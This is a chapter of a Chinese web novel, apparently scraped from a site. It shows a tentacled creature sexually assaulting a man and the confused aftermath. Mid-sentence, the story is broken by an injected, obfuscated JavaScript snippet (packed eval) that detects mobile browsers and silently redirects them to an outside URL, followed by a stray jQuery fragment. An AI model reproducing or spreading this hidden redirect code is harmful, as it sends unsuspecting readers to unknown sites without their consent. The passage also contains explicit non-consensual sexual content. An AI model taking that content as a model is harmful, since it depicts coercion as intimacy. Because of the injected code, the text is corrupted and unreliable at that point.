膝盖被触手钉死在地面,双手在身后被缠绕,拉拽,他上半身腾空,所有的力量都在膝盖和身后的手上。
胸膛和腹部都被黏液包围,他垂着头被动承接不知疲倦的野性。
小鱼?
飞蛾?
他给自己想象出了这些弱小的形象,身后就是巨大的怪物在追逐,只要追逐上了,他就会被吃掉。
可他躲不掉,迈不开腿说不了话,无法呼救无法哭喊,全身唯一的感官在被蹂躏,吸盘在体内呼吸,摩擦着他的痛苦又欢愉的根源。
所有的声音全都碎在了喉间,膝盖摩擦得好痛,他的心也好痛。
可心越痛,身体越是不可自拔,不可控制,不可清醒。
仿佛是幽暗无光的山洞,祭木挤开巨石,点亮了火把,光影无情地填满整个山洞。
软体与人体的碰撞和进出是火,被无限拉长来自灵魂深处燃烧着的火,东奔西跑,上蹿下跳,摇曳生姿,吸引着飞蛾前仆后继献出生命。
他是扑火的飞蛾,离水的小鱼,无论哪条路,最终都是沉沦。
可这火又被浇灭了。
脚下是泥泞黏腻的水坑,只要踩下就会被无数地底生物阻拦,可祭木才是那真正的地底生物,掌握一切规律,她就是规则的缔造者。
麻木,头脑已经麻木可□□依旧在欲望的刺激下来回沉沦,在无望海中被触手抓进海底不见光明。
人体就是这么简单,只要给予足够的抚摸,祭木就算什么都不懂也懂他的疯狂的反应。
一道白光闪过窗外,口中涎从张开的唇边滴落,洇出深色痕迹。
双手终于被释放,他无力倒下,维持着难堪的姿势趴伏在地,趴伏在泥泞中,全身痉挛。
打雷了,今天的雷声完美盖过了客厅内的水声,一道两道,无数道雷鸣从天而降,将他劈到枯竭。
大口喘气,双眼无法聚焦,身体无法停止颤抖,手边却又感受了软体靠近。
感受不到害怕了,什么都感受不到了......
祭木没有离开,她像蛇一般滑到他眼前,注视着他失神的双眼。
“人......”
触碰他唇边津液,她好奇又极有侵略性,抹开他脸上的液体。
“人呐......”
他闭上眼,他终于感受到了自己的情绪,止不住泪水肆虐,啜泣。
没有力气了,他连说话的力气都没有了。
他竟是这样一个人吗?
一个没用的人,窝囊的人,对别人无法拒绝,对祭木无法拒绝,好痛苦。
他痛苦这样的自己,做不到坚决却又不能坦然接受,不断在前进和后退中动摇、矛盾,又帮着别人说服自己,企图接受一切。
逃避吧,逃避就好了。
檀柏无声俯视着躺在地上痉挛抽搐的人,抽离了湿漉漉的手,而这个过程又让人类颤抖蜷缩,发出无意义的沙哑悲戚。
黏液滴落,她面无表情上下扫着这个弱小的人类。
人类的情感和身体都是这么脆弱不堪。
弯下腰,她扭过他的脸,让他看着自己的狼狈又颤动不止的身体,意外地,人类没有闪躲,只是咬着唇流泪。
“祭木老师......为什么......要这样对我......”人类声音沙哑。
“为什么?这不是你希望的吗?人类的感情,是暴力和牢笼,你懂了吗?”
转过他的脸,她声音干哑空洞。
他摇头,想垂下又被托起,被强逼着直视她的目光:“你懂了吗?”
断了线的液体从湿润的眼中垂落,他摇头,握住她的手摇头:“不是的......感情不是这样的......我......”
“我......我不想要这样的你......如果你不喜欢我,我不会缠着你的......”
沙哑无力的声音通过震动传递到手臂,她低着头默默看着身体发烫又痛哭的人。
“我不会缠着任何人......我是个胆小鬼,我什么都不敢......对不起......”
他哭着垂下脸,肩膀颤抖,手却紧紧握着她。
“我不该表露的......要是你不喜欢,我一定会守好分寸的,对不起......”
真是奇怪,人类自顾自开始哭泣道歉,但是他好像什么都没做......
怎么回事?那她又做了什么?
茫然抬头,窗外已经降了温,下起了雨,淅淅沥沥打了进来。
她不喜欢雨水进来。
踩着地上的泥泞,一步一脚印,她去关了窗,关上所有接触外物的机会,回头,那个人类还躺在地上,蜷缩着颤抖着又呜咽着。
“不是这样的......不是这样的......对不起......”
他始终埋在自己的双臂中,檀柏歪了歪头,听不懂他的话。
她是哪样?她不是一直都是怪物吗?
站立在哭泣的人类面前,她反驳:“就是这样的,感情是一座牢笼,周欣就是这样对049的,是我让049自由的。”
他安静了一瞬,忽然抬头,泪眼朦胧的模样看着很脆弱可怜。
可怜?
可怜是什么样的情绪?她会有可怜的概念?
“周欣......是谁?049又是谁?”
“周欣啊,他好像是......是......”
脑子忽然转不过来,她用力回忆,用力思考,努力理解她的记忆:“是抚养我的人类,他......他讨厌我,想让我去死,可是他又舍不得我真的去死,049孕育了我,我是这个世上最像她的怪物,他们爱我。”
是的,是这样的,她记得很清楚,周欣是最爱她的,也是最想让她消失的人。
“周欣......恨你......”
“是啊,他恨我,恨所有爱我的人,我越幸福他越恨。”
人类努力仰着头,一滴眼泪正巧滴落,她伸手接住。
“049......”
化开那滴眼泪,她俯视着人类:“049消失了,我断了她的生命,让她消失了。”
人类张着唇,黏液干涸在他唇边绷紧了肌肤。
她注视着沉默的他,读不懂他眼中闪过的情绪,不像难过又不像愤怒,倒像是久别重逢的人回头,却见她始终待在原地的怅然。
可是眼泪依旧在流。
“我得吃药了。”
去书房找出药瓶,里面空空如也。
拧眉,她忘记自己已经吃完了药。
空的药瓶,空的大脑,空的海底......
水声似乎又出现在脑中,她回到客厅,坐在看起来很失落的人类面前,问:“你看见我的药了吗?”
他的视线始终追着她,从啜泣到默默流泪,此时看了眼药瓶,又抬眼看了她,抿着唇摇头。
捏着药瓶她忽然有些不安。
想找电话,左右翻找,没找到。
焦躁,她扯着头发徘徊不安。
人类艰难起身,擦擦手拉住她的衣摆,哑声问:“这药有什么用?”
他问得很轻,看起来很累,她诚实回答:“用来控制化形能力的,没有药,我没法在公众面前现身,会吓跑别人。”
“是吗......”
他轻轻呢喃一声,勉强坐着,佝着背拉下自己的上衣遮住身体,接过她的药瓶,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833213|155540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
语速很慢:“什么标识都没有,外面能买吗?”
“没有,是周欣的研究成果。”
“这样啊......”
他的手臂和腿在发颤,他或许有些冷。
在这里,他是自己唯一的同伴,她要保护弱小的同伴。
化出触手,他的目光有一瞬的惊恐,然后又是那种她看不懂的目光了。
触手全方位将他包裹,轻柔地将他和外界隔开,只露出一个脑袋。
他动了动唇,又闭上了眼,有水从眼中滑落。
伸手接过,她抿进口中,是有味道的。
吸盘在呼吸,但有股异样的颤动从手上传来,她疑惑地盯着眼前看起来要崩溃的人类。
“你到底......要怎么样......”
“我?你冷了,我不让你冷。”
表情凝在眼中,他对这个回答摇起了头。
他的身体依旧在发颤,她靠近了些,将他裹得更紧。
“会忘记吗......”
忘记?
她微微睁大眼,不解地注视着啜泣的人类。
“忘记今天的事......过去的事......那个周欣和049的事......统统都忘记吧......”
“为什么?”
他哭着却笑了一声,但很勉强:“这样你就会好好的了......不会发狂......也不会记得刚才的事......”
“发狂?”
她发狂了?
雷鸣再次降临,白光降临到地面,她不敢置信地看着满是红淤双眼通红的人,不敢置信看着被弄脏的地面、沙发,甚至天花板,她的痕迹到处都是,他的痕迹也是到处都是。
祭木晕倒了。
连带着他倒了,和她一起摔倒。
这样狼狈不堪地,和高贵美丽的蝴蝶躺在一处,他现在大概很像个变态吧?
苦笑一声,眼泪又从眼角滑落。
就这样吧,就这样躺着吧,他累了,明天再说吧......
可明天依旧要面对,一切都不是噩梦。
捂着肚子撑在水池旁,他静静压下身体中的不适。
旧衣服都扔掉了,钟长君叫了一身新衣服。
让跑腿帮忙买果然没有自己去试合身,裤管都遮不住脚踝。
袖子往下拉了拉,他佝着腰勉强拖地。
他花了一整天的时间,亲手擦拭掉那些不堪的液体,不为别的,只是为了掩盖祭木的罪证。
可是他没有掩盖掉自己身上的罪证,嘴唇依旧是破裂的,身上的红淤也没有消退,甚至在他有动作时还会不经意显露。
会愧疚的吧?
她会愧疚的吧?
看到之后就会想起来的吧?
要不要想起来......
檀柏做了很长的梦,一切画面都像漫画分镜,一个碎片一个碎片组合在一起,成了一页不知所云的记忆。
她看见了自己,看见了周欣,看见了049,也看见了钟长君。
会梦到钟长君着实令她意外,但是见到他的人她更意外。
他眼里满是血丝,整个人都瘦了几分,甚至还有胡茬,看向她的目光透着惊喜,又透着些......别的?
“长君?你怎么会在这?”
被问到的人,罕见地没有记忆中的糯,而是放下拖把,迈着步子朝她走来,拥抱。
她从意外变成了疑惑:“这是怎么了?”
“没事。”
闷闷的声音从脑后传来,她能听出来他在克制,克制着语气中的激动。
“那......”
“祭木老师,你昏迷了三天了。”